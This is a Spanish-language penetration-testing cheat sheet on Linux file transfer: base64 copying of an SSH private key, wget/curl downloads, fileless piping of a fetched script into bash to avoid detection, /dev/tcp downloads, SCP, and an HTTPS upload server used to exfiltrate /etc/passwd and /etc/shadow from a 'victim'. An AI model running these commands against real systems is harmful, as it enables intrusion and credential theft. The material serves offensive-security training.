Linux File Transfer Methods
Download Operations
Base64 Encode / Decode
Util cuando no hay conectividad directa pero si capacidad de copiar y pegar texto. El flujo es: verificar hash en origen, codificar, transportar la cadena, decodificar en destino y verificar hash de nuevo.
En el atacante — verificar hash antes de codificar:
$ md5sum id_rsa
4e301756a07ded0a2dd6953abf015278 id_rsaCodificar el archivo en base64:
$ cat id_rsa | base64 -w 0; echo
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnph...Decodificar en el destino:
$ echo -n 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnph...' | base64 -d > id_rsaVerificar integridad:
$ md5sum id_rsa
4e301756a07ded0a2dd6953abf015278 id_rsaWeb Downloads con wget y curl
# wget
$ wget https://IP/file.sh -O /tmp/file.sh
# curl
$ curl -o /tmp/file.sh https://IP/file.shFileless — Ejecutar en memoria sin tocar disco
En lugar de guardar el archivo y luego ejecutarlo, se descarga directamente y se pasa por pipe al interprete correspondiente. No se escribe nada en disco, lo que reduce la superficie de deteccion.
# curl + bash
$ curl https://IP/script.sh | bash
# wget + python3
$ wget -qO- https://IP/script.py | python3-qO- indica a wget que sea silencioso (-q) y que escriba la salida en stdout (-O-) en lugar de a un archivo.
Download con bash — /dev/tcp
Cuando no hay wget, curl ni ninguna herramienta de red disponible, bash puede abrir una conexion TCP directamente usando el pseudo-dispositivo /dev/tcp. Los tres pasos se ejecutan en secuencia sobre el mismo descriptor de archivo.
Abrir la conexion:
$ exec 3<>/dev/tcp/10.10.10.32/80Enviar la peticion HTTP GET:
$ echo -e "GET /file.sh HTTP/1.1\n\n" >&3Leer la respuesta:
$ cat <&3Para guardar el cuerpo descartando los headers HTTP, ver la seccion /dev/tcp del cheatsheet de transferencia de archivos.
SSH / SCP Downloads
SCP permite copiar archivos sobre una sesion SSH. Para usarlo como metodo de descarga, el servidor SSH debe estar activo en la maquina origen.
Habilitar e iniciar SSH si no esta corriendo:
$ sudo systemctl enable ssh
$ sudo systemctl start sshVerificar que esta escuchando:
$ netstat -lnpt | grep 22
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -Descargar un archivo desde el origen via SCP:
$ scp user@192.168.49.128:/root/file.txt .La sintaxis es scp origen destino. El punto al final indica el directorio actual como destino.
Upload Operations
Web Upload — uploadserver con HTTPS
uploadserver es un modulo Python que extiende el servidor HTTP estandar con soporte para subidas de archivos via POST. Se recomienda usar HTTPS para evitar transmitir datos en claro.
Instalar el modulo:
$ python3 -m pip install --user uploadserverGenerar un certificado auto-firmado:
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'Esto genera un unico archivo server.pem que contiene tanto el certificado como la clave privada.
Levantar el servidor HTTPS en el puerto 443:
$ mkdir https && cd https
$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pemFile upload available at /upload
Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...Subir uno o varios archivos desde la victima:
$ curl -X POST https://192.168.49.128/upload \
-F 'files=@/etc/passwd' \
-F 'files=@/etc/shadow' \
--insecure--insecure es necesario porque el certificado es auto-firmado y curl no lo reconoce como de confianza. -F envia los datos como multipart/form-data.
Servidores HTTP alternativos
Cuando solo se necesita servir archivos para descarga y no subida, cualquiera de estos one-liners es suficiente.
# Python 3
$ python3 -m http.server 8000
# Python 2.7
$ python2.7 -m SimpleHTTPServer 8000
# PHP
$ php -S 0.0.0.0:8000
# Ruby
$ ruby -run -ehttpd . -p8000Todos sirven el directorio actual en el puerto indicado. Desde la maquina destino, descargar con wget o curl:
$ wget 192.168.49.128:8000/file.txt
$ curl -o file.txt http://192.168.49.128:8000/file.txtSCP Upload
Para subir archivos desde la maquina local a un destino remoto via SCP. El destino debe tener SSH activo y el usuario debe tener permisos de escritura en la ruta de destino.
$ scp /etc/passwd user@192.168.49.128:/home/user/Para subir varios archivos en una sola operacion:
$ scp /etc/passwd /etc/hosts user@192.168.49.128:/home/user/Para subir un directorio completo de forma recursiva:
$ scp -r /directorio/ user@192.168.49.128:/home/user/